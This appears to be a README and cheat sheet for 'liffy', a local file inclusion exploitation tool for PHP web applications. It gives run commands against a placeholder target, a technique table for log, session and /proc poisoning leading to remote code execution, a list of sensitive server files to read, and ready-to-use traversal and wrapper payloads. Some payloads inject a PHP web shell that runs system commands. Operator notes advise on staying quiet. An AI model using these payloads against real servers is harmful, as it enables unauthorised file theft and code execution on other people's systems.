liffy

Modern LFI exploitation tool — file read, wrappers, log poisoning, /proc tricks, WAF bypass.

Quick Start

git clone https://github.com/mzfr/liffy
cd liffy
python3 liffy.py -u "http://target.com/index.php?page=" -x /etc/passwd

# Interactive exploitation flow
python3 liffy.py -u "http://target.com/index.php?page="

Core Use Cases

| Goal | Technique | |------|-----------| | Read local files | Traversal + direct file inclusion | | Read PHP source | php://filter/convert.base64-encode/resource= | | Log poisoning → RCE | Apache/Nginx/SSH auth logs | | Process env RCE | /proc/self/environ | | Session poisoning | PHP session file inclusion | | Wrapper abuse | php://input, data://, expect:// |

High-Value Targets

/etc/passwd
/etc/hosts
/proc/self/environ
/proc/self/cmdline
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/auth.log
/var/lib/php/sessions/sess_<id>
/var/www/html/config.php

Manual Payloads to Confirm First

# Basic traversal
?file=../../../../etc/passwd
?file=..%2f..%2f..%2fetc%2fpasswd
?file=....//....//etc/passwd

# Source disclosure
?file=php://filter/convert.base64-encode/resource=index.php

# PHP input execution (if include() on request body)
POST /vuln.php?page=php://input
<?php system($_GET['cmd']); ?>

# Data wrapper
?file=data://text/plain,<?php system($_GET['cmd']); ?>

Operator Notes

• Confirm plain file read manually before trying wrapper/RCE paths.
• Prefer php://filter early; source disclosure is quieter than poisoning.
• Log poisoning requires a writable log plus later inclusion of that log path.
• Session poisoning is often better than access-log poisoning on shared hosting.
